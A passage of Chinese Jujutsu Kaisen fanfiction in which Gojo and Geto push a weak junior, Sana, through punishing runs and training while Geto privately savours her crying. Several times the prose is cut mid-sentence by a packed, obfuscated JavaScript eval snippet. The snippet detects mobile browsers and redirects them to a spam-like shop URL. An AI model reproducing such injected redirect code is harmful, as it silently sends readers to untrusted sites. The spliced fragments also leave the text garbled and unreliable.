她的手碰到瓶身，不可避免的碰到了夏油杰的指尖，有些凉凉的。 纱奈迅速收回手，拧开瓶盖，小口喝水。 汗水顺着她的下巴滴下来，落在校服领口，洇开一小片深色。 夏油杰看着她，看她湿润的眼睛，泛红的脸颊，微微颤抖的小腿，看她喝水时吞咽的动作，喉咙轻轻颤动，看她握紧水瓶时白皙的手指，指节因为用力而有些泛白。 意外的可爱呢。 “还剩四圈……”纱奈小声说，声音里带着喘息。 夏油杰点头，笑了笑，“慢慢来，不用着急。” “可是五条前辈说要跑完……”纱奈的语气里充满绝望。 “悟那边我会说。” 纱奈抬起头，眼睛里闪着感激的光，“谢谢夏油前辈！！” “不用谢。”夏油杰微笑，“我只是不喜欢看见有人晕倒在自己面前。” 纱奈点点头，又喝了一口水，然后把瓶子递还给夏油杰，“我还要继续跑……” 夏油杰接过瓶子，“去吧。” 纱奈转身，重新跑起来，她的步子比刚才稳了一些，但还是很慢。 夏油杰回到看台，在五条悟身边坐下。 “你刚才和她说不用着急。”五条悟说，墨镜后的眼睛看着他，“你在说谎哦杰。” “我没有说谎。”夏油杰语气平静，“我确实不喜欢她晕倒。” “为什么？” “因为那样就不好玩了。” 五条悟笑了笑轻轻戳了戳夏油杰的肩膀。 纱奈跑到第五圈的时候，速度明显慢了下来，她的呼吸声隔着距离都能听见，沉重、急促，带着明显的痛苦。 豆福在她脚边转圈，尾巴高高竖起，明显在焦虑。 第六圈，纱奈的脚步开始踉跄，她捂着腹部，脸色发白，嘴唇失去了血色，心里骂天骂地骂所有人。 当然啦，表面上她还在坚持跑步，内心早已酝酿如何完美晕倒以此逃避晨跑。 夏油杰站起身，眉头微微蹙起，“够了悟，她跑的差不多了。” “还差一圈。”五条悟提醒。 “她会吐的。” “所以？” 夏油杰转头看他：“吐了的话，清理起来很麻烦。” 五条悟想了想，点头：“有道理哦杰！” 他站起来，对着跑道挥着手喊道：“可以了，停下吧！” 纱奈没听见，她还在跑，或者说完全是在艰难地挪动。 纱奈觉得自己简直是超人跑完可以礼貌申请吉尼斯世界纪录了。 五条悟啧了一声，直接从看台跳下去，落在跑道边。 他走过去，拦住纱奈面前。 纱奈差点撞到他身上，她抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏油杰看着她哭，看着她哭到肩膀颤抖，看着她咬住嘴唇忍住声音，看着她用袖子胡乱擦脸。 哭起来更可爱。 “对不起……”纱奈哽咽着说，“我太没用了……” “没有。”夏油杰说，声音放轻，“你已经很努力了。” “可是……连晨跑都跑不完……” “以后会好起来的。” 纱奈摇头，眼泪掉得更凶，“不会的……我什么都做不好……在孤儿院也是……学习也是……运动也是……我只会拖后腿……” 夏油杰的指尖停在她脸颊边，轻轻擦去一滴眼泪。 “那就拖吧，我允许你拖。” 纱奈愣住，抬起湿漉漉的眼睛看他。 夏油杰脸上的笑容温和，眼神专注。 “拖我的后腿也可以哦。” “我不介意。” 这回答对纱奈这可怜的单细胞脑袋已经属于超级过载，纱奈瞬间宕机，嘴唇微张，那张小脸也越憋越红。 还没等纱奈回答门突然被推开了。 五条悟站在门口，手里拿着运动饮料和能量棒。 他看着房间里的两人，墨镜后的眼睛眯了眯，“啊，我是不是打扰了什么？” 夏油杰站起身，表情自然，依旧是那抹温和的笑容，“没有，她需要休息。” 五条悟走进来，把东西放在小桌上，他转过头对纱奈说，“喝点水，然后睡一觉，下午可别迟到。” 纱奈点点头，声音很小：“谢谢前辈。” 五条悟转身往外走，夏油杰也准备离开。 “夏油前辈。”纱奈突然开口。 夏油杰停下脚步，回头看她。 纱奈小声嗫嚅道，“谢谢你刚才安慰我。” “不用谢。” 他走出房间，轻轻拉上门。 走廊里，五条悟靠在墙上等他。 “杰，你刚才说了什么？”五条悟问。 “没说什么。”夏油杰站在他身侧，如同往常般回答了他的问题。 五条悟摘下墨镜，苍蓝色的眼睛直直盯着他，“刚才你在她房间里的时候，心跳频率可是稳步在上升。” “所以？” “你在兴奋，为什么？” “因为她的眼泪很漂亮。”他轻轻说道。 五条悟盯着他看了三秒，然后戴上墨镜，“你真变态，杰。” “彼此彼此。” 5. 温热的 下午的理论课在教室进行，由于她的同期生们还没来，纱奈又属于早到的乖宝宝，夜蛾正道叫她坐在后排一起旁听。 夜蛾正道站在讲台上，讲解咒力的基本概念和术式的分类。 纱奈坐在最角落的位置，腰背挺直，手放在膝盖上，像个认真听课的小学生。 但她其实一个字都没听进去。 夏油杰坐在她斜后方，能清楚地看见她微微颤抖的指尖，还有时不时偷瞟窗外的眼神。 她在走神，在害怕，在后悔，后悔来这个学校，后悔成为咒术师，后悔认识他和悟。 还真是可爱。 夏油杰拿起笔，在笔记本上写下几个无关紧要的词。 他的视线从纱奈的肩膀移到她的后颈。 黑长发披在肩上，露出一小截白皙的皮肤，颈骨的弧度很漂亮呢，他想摸摸看，想知道那截皮肤的触感，想知道如果手指按上去，会不会留下印记。 “夏油。”夜蛾正道的声音从讲台传来。 夏油杰抬起头，表情温和平静，“是，老师。” “你来解释一下术式反转的原理。” 夏油杰站起身，流畅地给出答案，他的声音清晰，逻辑严谨，完全看不出刚才脑子里在想什么乱七八糟的东西。 夜蛾正道点点头，让他坐下。 夏油杰重新看向纱奈，她也在看他，眼睛里闪着崇拜的光。 像是觉得他很厉害，像只看着主人的小狗。 夏油杰对她微笑，纱奈的脸红了，迅速低下头，假装认真记笔记。 下课铃响。 夜蛾正道宣布下课，然后看向纱奈。 “白鸟，你留一下。” 纱奈的肩膀缩了缩，其他人陆续离开教室。 五条悟走之前对纱奈做了个鬼脸，用口型说“加油哦”。 硝子拍了拍她的肩膀，也跟着离开了。 教室里只剩下夜蛾正道、纱奈，和坐在后排没有动的夏油杰。 “夏油，你还有事？”夜蛾正道问。 “我在等白鸟同学，我们说好了一起训练。” 夜蛾正道看了他一眼，没说什么，他转向纱奈，“白鸟，让我看看你的术式。” 纱奈站起来，手指绞在一起。 “……是。” 她走到教室中央，深吸一口气，伸出双手，她闭上眼睛，集中精神。 几秒后，指尖开始发光。 很微弱的光，淡淡的金色，像萤火虫的尾灯。 光只持续了三秒，然后就消失了。 纱奈睁开眼，脸色苍白，“对、对不起……我只能做到这样……” 夜蛾正道沉默地看着她，教室里很安静。 豆福蹲在纱奈脚边，尾巴轻轻摆动。 “术式形态不完整。”夜蛾正道终于开口，“咒力量也小得可怜。” 纱奈低下头，她该不会成为第一个被退学的学生吧……好像有点丢人…… “但确实有潜力。”夜蛾正道补充道，这句话又给了纱奈一丝勇气，“所以，从明天开始，每天下午放学后来找我，进行特训。” 纱奈猛地抬起头，眼睛里闪着震惊，“……特训？” “嗯。”夜蛾正道点头，“以你现在的水平，连四级咒灵都对付不了。” 纱奈的肩膀垮下来，特训就特训吧，她白鸟纱奈认了！！ 夏油杰站起身，走到她身边。 “老师，我会帮忙的，作为前辈,我有责任指导后辈。” 夜蛾正道看了他一眼，“可以，但不要太过火。” “我会注意分寸的。” 夜蛾正道离开教室，门关上的瞬间，纱奈腿一软，坐到椅子上。 她抱住豆福，把脸埋进猫毛里。 “豆福啊……我是不是真的很没用……” 豆福没说话，只是用脑袋蹭她。 夏油杰在她面前蹲下，视线与她平齐，“白鸟同学。” 纱奈抬起头，眼睛湿漉漉的，“前辈……” “想变强吗？”夏油杰问。 纱奈愣住，她咬了咬嘴唇，眼神坚定了些，“我想！” “那就跟我来。”夏油杰站起身，对她伸出手，“我们去训练场。” 纱奈看着他的手，犹豫了几秒，最终还是把手放上去。 夏油杰握住她的手，把她拉起来，她的手指很凉，很小，被他完全包裹在掌心。 “训练场在哪？”纱奈小声问。 “跟我走就知道了。” 夏油杰牵着她离开教室，走廊很安静，只有他们的脚步声。 豆福跟在后面，琥珀色的眼睛一直盯着夏油杰的背，翻了个大大的白眼。 训练场在建筑群深处，是一个开阔的露天场地。 夏油杰松开纱奈的手，“先试试最简单的咒力控制，把咒力集中在指尖，让它发光，持续十秒。” 纱奈点头，深吸一口气，伸出手，淡金色的光再次出现，这次持续了五秒，然后熄灭。 纱奈脸色发白，额头渗出细汗。 “太弱了。”夏油杰摇头，“再来一次。” 纱奈又试了一次，四秒。 第三次，三秒。 第四次，光只闪了一下就消失了。 “……” 纱奈又想退学了。 夏油杰走到她面前，握住她的手腕，“放松，感知咒力的流动。” 他的手指贴在她的皮肤上，温度比她的低一些。 纱奈僵硬地站着，指尖微微颤抖。 “感觉到了吗？”夏油杰问，声音就在她耳边。 “感、感觉到了……” “跟着它走。” 纱奈闭上眼睛，努力集中精神，淡金色的光再次亮起，这次持续了六秒。 “进步了。”夏油杰松开她的手，“继续。” 纱奈继续练习，一次又一次，光芒忽明忽暗，时间长短不一。 她的汗水浸湿了后背，呼吸越来越急促。 第八次尝试时，光只持续了两秒。 纱奈终于崩溃了，她蹲下来，抱住膝盖，眼泪掉下来，她也不知道为什么眼泪突然就落了下来，既有对自身的弱也有丝在前辈面前弱小的窘态。 “……我做不到……我真的做不到……” 夏油杰站在她面前，低头看着她。 看她哭到肩膀颤抖，看她把脸埋在膝盖里，看她像个被抛弃的孩子一样无助。 啊，可爱。 “站起来。”夏油杰说，语气温和，却带着点不容置疑。 纱奈摇头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497874|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音闷闷的:“……不要……” “站起来，白鸟同学。” 纱奈不动，埋着头，像只鹌鹑一样。 夏油杰弯下腰，伸手握住她的手臂，把她从地上拉了起来。 纱奈被迫站直，眼泪还挂在脸上，眼神倔强又委屈，“我做不到……放过我吧……” “做不到？”他重复，声音很轻，“那就一直练，练到能做到为止。” 纱奈睁大眼睛，她咽了咽口水，看向面前依旧笑着的前辈，那抹笑意只是挂在唇角，纱奈感受不到一丝愉悦的成分，这让她的心里有些微微发毛。 “前、前辈……” 夏油杰垂着眸看向她，“在这里，没有做不到，只有不想做和不敢做。” 他松开她的手，退开一步，“现在告诉我，你想变强吗？” 纱奈的嘴唇颤抖。 “想……” “那就继续。” 纱奈咬住嘴唇，重新伸出手，淡金色的光再次亮起，这次持续了七秒。 “继续。” 八秒。 “继续。” 九秒。 “继续。” 十秒。 光熄灭的瞬间，纱奈腿一软，又要摔倒。 夏油杰扶住她。 她的身体很轻，几乎没重量，整个人靠在他怀里，像只脱力的小动物。 “做得好。”夏油杰说，声音恢复温和，“今天就到这里。” “前辈刚才好可怕……” “可怕吗？”夏油杰那双狭长的眼睛注视着他，眼底渐渐染上笑意，“我只是在教你如何变强，所以请不要害怕。” 纱奈摇头，把脸埋进他胸口，呜咽起来。 等等，前辈胸肌好大…… 夏油杰抱着她，手轻轻拍着她的背。 他的视线越过她的肩膀，看向训练场入口。 五条悟站在那里，墨镜推到头顶，苍蓝色的眼睛盯着他们，嘴角挂着饶有兴趣的笑容。 那笑容夏油杰看懂了，夏油杰对他笑了笑，然后低头看向怀里的人。 纱奈的手紧紧抓着他的衣襟，像是抓住了救命稻草。 可爱啊。 可爱得不得了。 夏油杰的手抚上她的后颈，指尖触碰到那截白皙的皮肤。 温热的，细腻的。 纱奈颤抖了一下，但没有躲开。 她太累了，累到没有力气思考，累到只想找个地方哭，当然埋在前辈的胸肌里哭也不是不可以。 夏油杰的指尖缓缓摩挲着她的后颈，像在抚摸一只正在闹脾气的小宠物。 他轻声说，“不哭了，你已经做得很好了。” 纱奈摇头，声音闷闷的，“不好……一点都不好……” “那就明天继续努力。” 豆福扒拉着漱里的小腿袜，尾巴一甩一甩，“喂，我饿了，需要罐罐。” 纱奈赶忙挣脱开转过去抱豆福，在两位前辈的注视下慌乱的朝宿舍走去。 “玩得开心吗？”五条悟抱着胳膊看着夏油杰问道。 “还不错。”夏油杰回答，“是个努力的孩子呢。” “欸…？努力到哭出来吗？” “是啊。” “那她还真是努力呢，杰。” 6. 虚弱的 凌晨五点半，纱奈在梦里被一只巨大的三色团子追着跑。 那团子长着豆福的脸，张着血盆大口，不停的在喊，“起床！晨跑！罐罐没了！” 她跑着跑着就醒了，她感觉有什么毛茸茸的东西又热又闷的压着她的胸口。 “五点半了，起来了喂！还有半小时你就要迟到了。”豆福窝在她的胸口，一脸睥睨。 纱奈把脑袋埋进枕头里，发出绝望的呻吟。 “我不去……我生病了……” “你昨晚熬夜看漫画看到两点的时候可没生病。” “我现在病了！”纱奈翻了个身，抱住被子，“头痛，胃痛，全身痛，还有点低血糖……你看我脸色多苍白！” 豆福凑近看了看她的脸。 “你脸上压出枕头印子了，确实挺苍白的。” “我说真的！” “我也是说真的。”豆福跳下床，走到窗边，“现在还有二十五分钟，你现在装病还来得及。” 纱奈立刻闭上眼睛，开始调整呼吸。 她努力回忆电视剧里病人虚弱的样子，把呼吸放轻放缓，偶尔还发出几声细微的呻吟。 枕头边的小熊玩偶被她搂在怀里，充当悲情女主角的道具。 窗外天色微亮，晨雾还没散尽。 房间里的时钟指针一点一点移动。 五分钟后，纱奈偷偷睁开一只眼睛，瞄向时钟。 五点三十七。 还有二十三分钟。 她重新闭眼，继续装睡。 走廊里传来脚步声，很轻，但纱奈和豆福都听见了。 豆福瞬间炸毛，尾巴竖得像根旗杆，但脸上幸灾乐祸的表情可丝毫没有遮掩。 纱奈立刻把自己裹进被子里，只露出半张看似虚弱的小脸，顺便把玩偶抱得更紧。 敲门声响起。 “白鸟同学起床了哦。”是五条悟的声音，隔着门板，声音听的不是很真切。 纱奈不动。 她屏住呼吸，努力让自己看起来像个熟睡中的病人。 下一秒门被推开了。 门其实根本没锁，推开简直轻而易举。 五条悟靠在门框上，墨镜挂在领口，白色头发有点乱，像是刚睡醒随手抓了两下。 他看着她。视线落在她脸上，然后勾起嘴角，“别装了，你的心跳声吵到我了。” 这话有刻意夸大的成分，但他还是一脸无辜的说出来了。 纱奈的睫毛颤了颤，没睁眼。 “啊，那个，啊，前，前辈……我生病了……” 声音虚弱，带着恰到好处的颤抖。 “哦？”五条悟走进来，在床边蹲下，表情看上去像是相信了纱奈的胡说八道，“什么病？” “头痛……胃也不舒服……浑身没力气……” “听起来真的很严重呢。” “是的……”纱奈睁开一只眼睛，偷偷看他，“所以今天……能不能不晨跑……” 五条悟盯着她看了几秒，然后伸出手，用手背碰了碰她的额头。 温度正常。 “没发烧呢。”他说。 “可是……可是我真的不舒服……” “哪里不舒服？” “全身都不舒服……” 五条悟笑了，他直接握住她的手腕，把她从被子里拉出来。 纱奈惊呼一声：“等等——！” “心跳正常，脉搏正常，体温正常。”五条悟松开手，歪头看着她，“还有，你昨晚熬夜了吧？” “我说我没有你信吗……” “眼睛里有红血丝。”五条悟用手指点了点自己的眼角，“而且眼袋很明显。” 纱奈下意识捂住眼睛，透过指缝偷偷看他。 五条悟站起身，抱着胳膊看着她，“现在给你三分钟，换好衣服，操场见。” “可是我真的不舒服……” “迟到一分钟加一圈。”五条悟转身往外走，“现在是五点四十二，你还有十八分钟。” 门被轻轻带上。 纱奈的心一起死掉了。 豆福走到她身边，用脑袋蹭了蹭她的腿。 “认命吧，那家伙是魔鬼。” “我讨厌他。”纱奈咬牙切齿。 “讨厌也没用，快去换衣服。” 纱奈磨磨蹭蹭地爬起来，从柜子里拿出运动服。 现在她不但要晨跑，还要带着黑眼圈和困得要死的状态去晨跑。 “豆福……我不想跑……” 豆福舔着爪子，“那就退学，退学就不用跑了。” “可是退学了我就没地方去了。” “那就去跑步。” 纱奈换好衣服，梳了把头发，对着镜子确认自己看上去足够可怜。 脸色苍白，其实是熬夜熬的，眼睛红肿其实是因为睡觉前喝水喝多了而导致浮肿。 完美虚弱病人的形象。 “走吧。”她抱起豆福，深吸一口气，拉开房门。 纱奈磨磨蹭蹭地往楼梯走，刚走到楼梯口，就听见下面传来的声音。 “还有九分钟。”五条悟靠在楼梯扶手边，墨镜已经戴好了，手里拿着雷打不动都要喝的牛奶。 他仰头看她，嘴角噙着笑，“快点哦，白鸟同学。” 纱奈加快脚步往下跑，她跑到楼下，气喘吁吁地跟在五条悟身后，往操场走去。 清晨的空气有点凉，风吹在脸上，让纱奈稍微清醒了一点。 她打了个哈欠，眼泪又出来了，“前辈……我真的好困……” “跑跑就精神了。”五条悟头也不回。 操场上，夏油杰已经在等他们了。 他穿着运动服，头发扎起来了，露出光洁的额头和那双狭长的眼睛。 看见纱奈，他笑了笑，“早啊，白鸟同学。” “早，夏油前辈。”纱奈的声音有气无力。 五条悟走到夏油杰身边，两人并肩站着，看着她，五条悟宣布，“今天跑八圈，昨天欠的七圈，加上今天原本的一圈。” 纱奈的脸瞬间垮掉，“八……八圈？” “对哦。” “会死的……” “死不了。”夏油杰温和地补充，“最多晕倒。” “晕倒也不行的！”纱奈抱着豆福，“我真的很不舒服……” “那这样吧。”五条悟说，“如果你能在三十分钟内跑完八圈，明天可以只跑五圈。” 纱奈眼睛亮了:“真的？” “真的真的，我可是从来不骗人的哦。” “那……如果超过三十分钟呢？” “那就明天跑十圈。”五条悟咧嘴一笑，“很公平吧？” 公平个鬼！ 纱奈在心里咆哮，但她不敢说出来。 豆福从她怀里跳下来，蹲在跑道边，打了个哈欠，“快点跑，跑完我要回去睡觉。” 纱奈深吸一口气，走向跑道。 五条悟和夏油杰坐在看台上，一边喝牛奶一边看着她跑。 “欸欸，杰你看她今天状态比昨天还差。”五条悟说。 夏油杰看着纱奈踉跄的脚步，“熬夜了，昨晚应该没睡好。” “你怎么知道？” 夏油杰无奈的笑了笑，“黑眼圈很明显，而且眼睛里有血丝。” 五条悟挑眉：“喔观察得真仔细。” “应该的，毕竟是后辈。” 她跑到第二圈的时候，五条悟从看台上下来，走到跑道边。 “白鸟同学。”他招着手笑眯眯的看着已经快要燃成舍利子的纱奈。 纱奈停下脚步，弯着腰，双手撑着膝盖喘气，汗顺着额角往下滴。 “你脸色不太好呢。”五条悟说，语气带着某种假惺惺的关心，“真的不舒服吗？” 纱奈点头，眼睛里闪着希望的光：“真的……头很痛……胃也疼……” “这样啊。”五条悟摸了摸下巴，“那让我检查一下。” 他走到纱奈面前，伸出手，手再次按在她的额头上。 纱奈僵住了。 五条悟的手很凉，他的视线透过墨镜盯着她，苍蓝色的眼睛里没有太多情绪，转而多了丝狡黠。 “体温正常，心率偏快，但是呢这是因为你在跑步的原因啦。” 他又伸手，轻轻按在她胃部，“这里疼吗？” “疼！” “按的时候疼？” “嗯嗯！” 五条悟的手指往下按了按，“这样呢？” “……疼…！” “那这样呢？” “也疼……” 五条悟收回手，嘴角勾起一个笑容。 “真可怜。”他说，声音里听不出同情，“胃部确实有一点肌肉紧张，可能是昨天训练过度导致的。” 纱奈眨眨眼：“那……” “但这不影响跑步。”五条悟打断她，笑容扩大，“反而呢应该多运动，放松肌肉。” 纱奈的表情仅用0.01秒的好时长瞬间垮下来。 五条悟转身走回看台，重新坐下，“还有一千八百米，请继续。” 纱奈重新跑起来，她边跑边小声骂：“恶魔……抖/s！！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五条悟蹲在她面前，手里拿着秒表，“三十七分钟，超过七分钟，所以明天要跑十圈。” 纱奈抬起头，眼睛红得像个兔子。 “前辈……你是魔鬼吗……” “嗯。”五条悟点头，笑的一脸无辜，“专门治白鸟同学这种懒虫的魔鬼。” “我恨你……” “恨吧。”五条悟笑起来，“恨我也要跑。” 夏油杰走过来，递给纱奈一瓶水，她接过来，手抖得差点没拿住。 “谢谢……前辈……” 声音虚弱得像蚊子叫。 夏油杰蹲下来，看着她，“白鸟同学明天早点起就不会这么辛苦了。” 纱奈摇头，把脸埋进手臂里。 “我起不来……” “那就让悟去叫你。” 纱奈猛地抬头，“不要！我不要他来叫我！” 五条悟挑眉，嘴角微微向下真的有股可怜小动物的既视感。 “欸——？为什么？是因为白鸟同学讨厌我吗？” 五条悟叹了口气，露出果然如此的表情，这让纱奈凭空升起来丝愧疚的情绪。 ……该死，这张脸做这个表情是在犯规吧。 “因为……”纱奈憋了半天，憋出一句，“男女授受不亲！” 五条悟和夏油杰都愣住了。 然后五条悟大笑出声。 “男女授受不亲？”他重复，笑得肩膀都在抖。 “白鸟同学，你脑子里装的都是什么古董啊？” 纱奈的脸更红了，“本来就是……” “行吧。”五条悟站起身，拍了拍裤子上的灰，“那明天让杰去叫你。” 纱奈看向夏油杰，夏油杰对她微笑，温和无害，“夏油前辈好像也不是很合适……” 五条悟抱起胳膊，“那你要谁叫？硝子？她起得可能会更晚。” 纱奈不说话了，她挣扎着爬起来，拍了拍身上的灰，“我自己设十个闹钟。” “你今早不是设了闹钟吗。”五条悟无情指出，“然后按掉了。” “……” 五条悟最后定下结论，“所以呢还是得有人叫你，明天我和杰猜拳，谁赢谁去。” 纱奈眼前一黑。 她觉得自己的高专生活已经提前结束了。 7. 保护欲 回到宿舍后，纱奈洗了个澡，换了身干净衣服，她瘫在床上，一脸生无可恋。 豆福趴在她旁边，慢悠悠地舔着爪子。 “豆福。”纱奈有气无力地说，“我后天就要死了……” “后天？” “因为后天我的同期就来了。”纱奈翻了个身，看着天花板，“到时候他们发现我是这么个废柴，一定会看不起我的……” “想多了，那两个人说不定比你还废。” 纱奈摇头，笑得有些命苦，“不可能，再废也废不过我。” 她从床上爬起来，走到小书桌前，翻开日历。 后天的日期旁边用红笔写着，四个大字。 同期入学！！！ 纱奈拿起笔，在那个日期上画了个大大的圈，然后又在旁边写了一行小字：拉住同期，一起摆烂，逃离前辈魔爪。 写完，她满意地点点头，转头对豆福说，“不错不错，这样一来我就能找到借口了。” “什么借口？” “比如说……我要照顾新同学！带他们熟悉环境！没时间训练！” “你觉得那两个人会信？” 纱奈握拳一脸势在必得，“至少能拖一段时间，能拖一天是一天！” 豆福瞥了她一眼，没说话。 中午吃饭的时候，纱奈从硝子那里得到了更详细的信息，硝子咬着筷子，“灰原性格很好，很开朗，七海比较严肃，但人也不错。” 纱奈眼睛亮了:“他们会帮我吗？” “帮你什么？”硝子托着下巴忍不住笑出声来。 “帮我……嗯……抵抗前辈们的压迫！” 硝子挑眉：“压迫？” 纱奈这才意识到自己说漏嘴了，赶紧捂住嘴巴。 “啊哈哈哈哈哈，没什么……” 这话说出来好像可信度不是很高。 “不过呢小白鸟啊，那两个人啊，他们可能自己都自身难保。”说完硝子慢悠悠喝了口汤。 “什么意思？”这句话让纱奈内心警铃大作。 “意思就是，他们来了之后，训练量会加倍。” 纱奈的笑容僵在脸上，“为什么？？？？！！” “因为人多啊，人多了，训练项目就可以增加了，比如对打，比如团队合作，比如——” 她顿了顿，看向纱奈，眼里闪出和五条悟一模一样的狡黠。 “二对二咒术战。” 纱奈手里的筷子掉在了桌子上，“二对二？” “大致就是你和灰原一组，对付悟和杰。” 纱奈的脸瞬间惨白，“我会死的……” 这回是认真的，她怀疑自己真的会被轰死…… “不会死的。”硝子拍拍她的肩，语气诚恳，“最多在医院躺几天。” 纱奈抱住头，发出绝望的呜咽。 豆福在旁边啃鱼干，吃得津津有味，完全没理会主人的崩溃。 下午，纱奈如约去训练场找夜蛾正道训练。 这次的训练内容是咒力控制的精度，用咒力移动一颗小石子，让它沿着画好的线走。 听起来简单，可做起来难。 纱奈试了十几次，石子要么纹丝不动，要么直接飞出去砸到墙上。 “集中精神。”夜蛾正道站在旁边，面无表情，“咒力不是力气，要让它像手臂一样灵活。” 纱奈额头冒汗，指尖都在抖，纱奈咬牙，再次集中精神。 小石子动了动，抖了抖，然后滚到了一边。 又失败了。 夜蛾正道看了她一眼，叹了口气，“今天就到这里吧。” “老师……我是不是很没用……” “你已经进步了，至少能让石子动起来了，慢慢来你不差。” 纱奈站起来，重重的点了点头。 “明天继续。” “是！” 收拾好东西，纱奈抱着豆福往宿舍走，走到一半，她遇见了夏油杰。 他似乎刚从外面回来，校服外面披着件外套，头发有点乱，脸上带着笑意。 “训练结束了？”他看着纱奈问道。 “嗯。”纱奈小声回答。 “怎么样？”他继续问。 “不好……” 夏油杰笑了笑，走到她身边，“慢慢来，咒术是很吃天赋的东西，急也没用。” “可是如果我一直这么弱，很拖大家后腿……” “那就一直这么弱。”夏油杰打断她，微微低下身子，“况且，弱又怎样？” 纱奈愣住，完全没料想到他会说这句话。 夏油杰继续说，“只要不被咒灵杀掉就好，其他的事情有我们在。” 他的声音温和，眼神专注，像是真的在安慰她。 但纱奈总觉得哪里不对。 “前辈…如果我真的遇到咒灵怎么办？” “那就跑，跑不了就喊。” “……喊谁会来？” “喊我，我会来救你的。” 前辈你知道自己顶着这样一张脸说这种话杀伤力有多大吗…… “谢谢前辈。”纱奈脸有点红，她眼神慢慢瞟旁边试图不去看这位前辈。 “不用谢。”夏油杰伸手，轻轻揉了揉她的头发，“这是前辈的责任。” 纱奈僵在原地，一动不敢动。 豆福在她怀里翻了个白眼。 夏油杰收回手，对豆福笑了笑，“果然白鸟同学的猫不喜欢我呢。” 纱奈咽了咽口水，尴尬的笑了一声，“豆福只是怕生了啦。” “是吗。”夏油杰没再说什么，只是看着她红透的脸，眼里的笑意深了几分。 “明天见，白鸟同学。” “明天见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497876|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏油杰转身离开，纱奈站在原地，看着他走远的背影，深吸一口气。 “豆福啊。” “你又想干嘛。” “我觉得……”纱奈看着前辈离去的背景呆呆的看着。 纱奈咬着嘴唇，想了半天，才憋出一句：“我觉得夏油前辈……真的很帅……” 豆福沉默了三秒，然后抬起爪子，拍在她脸上，“醒醒，那家伙现在肯定在想着怎么把你拐回家当宠物养。” “怎么可能啊喂？” 她抱着豆福慢慢回到宿舍，瘫在床上看着天花板。 窗外的天色渐渐暗下来。 风吹过庭院里的树，发出沙沙的响声。 纱奈翻了个身，拿出手机，翻到日历的页面。 后天，灰原，七海，新的同学！新的希望！ 纱奈握紧手机，眼睛重新亮起来，“豆福，我有新计划了。” “什么计划？” “我要成为新同学的知心大姐姐。”纱奈坐起来，语气坚定，“让他们信赖我，依赖我，然后嘿嘿嘿。” 豆福斜眼看她示意她继续说。 “然后让他们帮我分担前辈们的注意力！这样一来，我就有时间摸鱼了！” 豆福盯着她看了三秒，然后叹了口气，“你还是装死吧，你这个计划更蠢。” 纱奈瘪瘪嘴，重新瘫回去，“那你说怎么办？” 豆福舔着爪子，“我早就告诉过你了啊，要么跑，要么认命。” 纱奈看着天花板，眼睛逐渐失去焦点，“那我还是……认命吧……” 认命地晨跑，认命地训练，认命地被前辈们玩弄于股掌之间。 反正跑也跑不掉，打也打不过，哭也没用，不如躺平。 纱奈翻了个身，闭上眼睛。 梦里，她被一只巨大的狐狸追着跑。 狐狸笑眯眯地说：“跑什么，我又不会吃了你。” 纱奈边跑边哭：“骗人！你明明就会！” 狐狸笑得更开心了：“那来我肚子里吧，里面很暖和哦。” 然后纱奈就醒了，这回真的是被吓醒的。 窗外天色微亮，新的一天又要开始了。 纱奈看着天花板，深吸一口气，然后捂住脸，“我想退学……” 豆福从枕头边抬起头，打了个哈欠，“退学申请书需要我帮你写吗？” “呵……不用。” 纱奈爬起来，开始换衣服。 今天，她要在闹钟响之前起床，她还要主动去晨跑，而且她要证明给前辈们看她白鸟纱奈，也是有骨气的！ 十分钟后，纱奈蹲在操场边的灌木丛后面，抱着豆福，小声说着，“其实我真的有骨气，我只是骨气被狗吃了。” 豆福甩了甩尾巴。 “承认吧，你就是个怂包。” 臭豆福，你赢了…… 8. 恶劣的 纱奈蹲在灌木丛后面心理斗争进行到一半，头顶传来了声音。 “喂喂，这是什么新型的晨跑姿势吗？” 她猛地抬起头。 五条悟站在她面前，低头瞧着她，眼中的戏谑是怎么都藏不住的，嘴角咧开一个毫不掩饰的恶劣笑容。 纱奈的表情僵硬得像被速冻过的鱼。 “……前、前辈……” “现在是几点？”五条悟抬起手腕，露出根本不存在的表，“让我看看……六点十七分，迟到了十七分钟。” “我……” 纱奈想狡辩，但脑子一片空白。 五条悟弯腰，凑近她的脸。 “所以今天要跑多少圈来着？” 他故意歪着头思考，“八圈加上十七圈……二十五圈？” 纱奈倒吸一口冷气。 “会……会死的……” “不会死的。” 五条悟伸手，抓住她的胳膊，把她从灌木丛里拎出来，“最多跑废两条腿而已呀。” 纱奈被他拎着，像只被抓住后颈皮的猫，四肢无力地垂着。 豆福从灌木丛里钻出来，冲着五条悟龇牙。 “放开她。” 